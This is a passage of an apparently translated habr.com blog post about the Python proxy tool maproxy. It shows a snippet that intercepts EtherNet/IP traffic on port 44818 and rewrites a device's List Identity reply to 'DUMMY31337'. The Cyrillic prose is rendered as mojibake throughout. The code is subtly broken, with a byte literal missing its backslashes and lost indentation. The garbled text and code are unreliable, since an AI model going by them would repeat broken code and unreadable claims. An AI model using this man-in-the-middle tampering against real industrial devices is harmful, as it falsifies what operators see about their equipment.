# ΡΠ°ΡΡΠΈΡΠ½Π° Π·Π°ΠΌΡΠ½Π° Π½Π° ΠΎΡΠ³ΠΎΠ²ΠΎΡΠ°
# ΠΡΠΎΠ²Π΅ΡΠΊΠ° Π΄Π°Π»ΠΈ ΠΏΠΎΠ»ΡΡΠΈΡ
ΠΌΠ΅ ΠΎΡΠ³ΠΎΠ²ΠΎΡ ΠΎΡ List Identity ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΠ΅
if data[26:28] == b'x0cx00':
print('ΠΠΎΠ»ΡΡΠ΅Π½ ΠΎΡΠ³ΠΎΠ²ΠΎΡ, Π·Π°ΠΌΠ΅ΡΡΠ²Π°Π½Π΅')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[β¦]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[β¦]
ΠΠΎ ΡΡΡΠ΅ΡΡΠ²ΠΎ, ΠΏΠΎΠΈΡΠΊΠ°Ρ ΠΌΠ΅ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΡΡΠ° Π½Π° ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎΡΠΎ Π΄Π²Π° ΠΏΡΡΠΈ, Π²ΡΠΎΡΠΈΡΡ ΠΎΡΠ³ΠΎΠ²ΠΎΡ Π΅ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»Π΅Π½, Π° ΠΏΡΡΠ²ΠΈΡΡ Π΅ ΠΌΠΎΠ΄ΠΈΡΠΈΡΠΈΡΠ°Π½.
Π Π½Π°ΠΊΡΠ°Ρ
Π‘ΠΏΠΎΡΠ΅Π΄ ΠΌΠ΅Π½ ΠΌΠ°ΠΏΡΠΎΠΊΡΠΈ ΡΠ΄ΠΎΠ±Π΅Π½ ΠΈ ΠΏΡΠΎΡΡ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½Ρ, ΠΊΠΎΠΉΡΠΎ Π΅ Π½Π°ΠΏΠΈΡΠ°Π½ Π½Π° Python, Π·Π°ΡΠΎΠ²Π° ΡΠΌΡΡΠ°ΠΌ, ΡΠ΅ ΠΈ Π²ΠΈΠ΅ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° ΡΠ΅ Π²ΡΠ·ΠΏΠΎΠ»Π·Π²Π°ΡΠ΅ ΠΎΡ Π½Π΅Π³ΠΎ. Π Π°Π·Π±ΠΈΡΠ° ΡΠ΅, ΡΡΡΠ΅ΡΡΠ²ΡΠ²Π°Ρ ΠΈ ΠΏΠΎ-ΡΠ»ΠΎΠΆΠ½ΠΈ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠΈ Π·Π° ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ° ΠΈ ΠΌΠΎΠ΄ΠΈΡΠΈΠΊΠ°ΡΠΈΡ Π½Π° ΠΌΡΠ΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ, Π½ΠΎ ΡΠ΅ ΠΈΠ·ΠΈΡΠΊΠ²Π°Ρ ΠΈ ΠΏΠΎΠ²Π΅ΡΠ΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΠΈ ΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΎ ΡΠ΅ ΡΡΠ·Π΄Π°Π²Π°Ρ Π·Π° ΠΊΠΎΠ½ΠΊΡΠ΅ΡΠ½ΠΈ ΡΡΠ΅Π½Π°ΡΠΈΠΈ Π½Π° ΡΠΏΠΎΡΡΠ΅Π±Π°, ΠΊΠ°ΡΠΎ , ΠΈΠ»ΠΈ Π·Π° ΡΠ»ΡΡΠ°ΠΈ, ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΈ Π½Π° ΡΡΠ΅ΡΠΈΡ, ΠΈΠ»ΠΈ Π·Π° ΠΏΠΎΡΠ»Π΅Π΄Π½ΠΈΡ ΡΠ»ΡΡΠ°ΠΉ. ΠΠ°ΠΊΡΠΎ ΠΈ Π΄Π° Π΅, Ρ ΠΏΠΎΠΌΠΎΡΡΠ° Π½Π° ΠΌΠ°ΠΏΡΠΎΠΊΡΠΈ Π²ΠΈΠ΅ ΡΠ΅ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π±ΡΡΠ·ΠΎ Π΄Π° ΡΠ΅Π°Π»ΠΈΠ·ΠΈΡΠ°ΡΠ΅ ΠΈΠ΄Π΅ΠΈΡΠ΅ ΡΠΈ Π·Π° ΠΏΡΠΈΡ
Π²Π°ΡΠ°Π½Π΅ Π½Π° ΠΌΡΠ΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ, ΡΡΠΉ ΠΊΠ°ΡΠΎ ΠΏΡΠΈΠΌΠ΅ΡΠΈΡΠ΅ Π·Π° ΡΠΊΡΠΈΠΏΡΠΎΠ²Π΅ ΡΠ° ΠΌΠ½ΠΎΠ³ΠΎ ΡΠ°Π·Π±ΠΈΡΠ°Π΅ΠΌΠΈ.
ΠΠ·ΡΠΎΡΠ½ΠΈΠΊ: habr.com
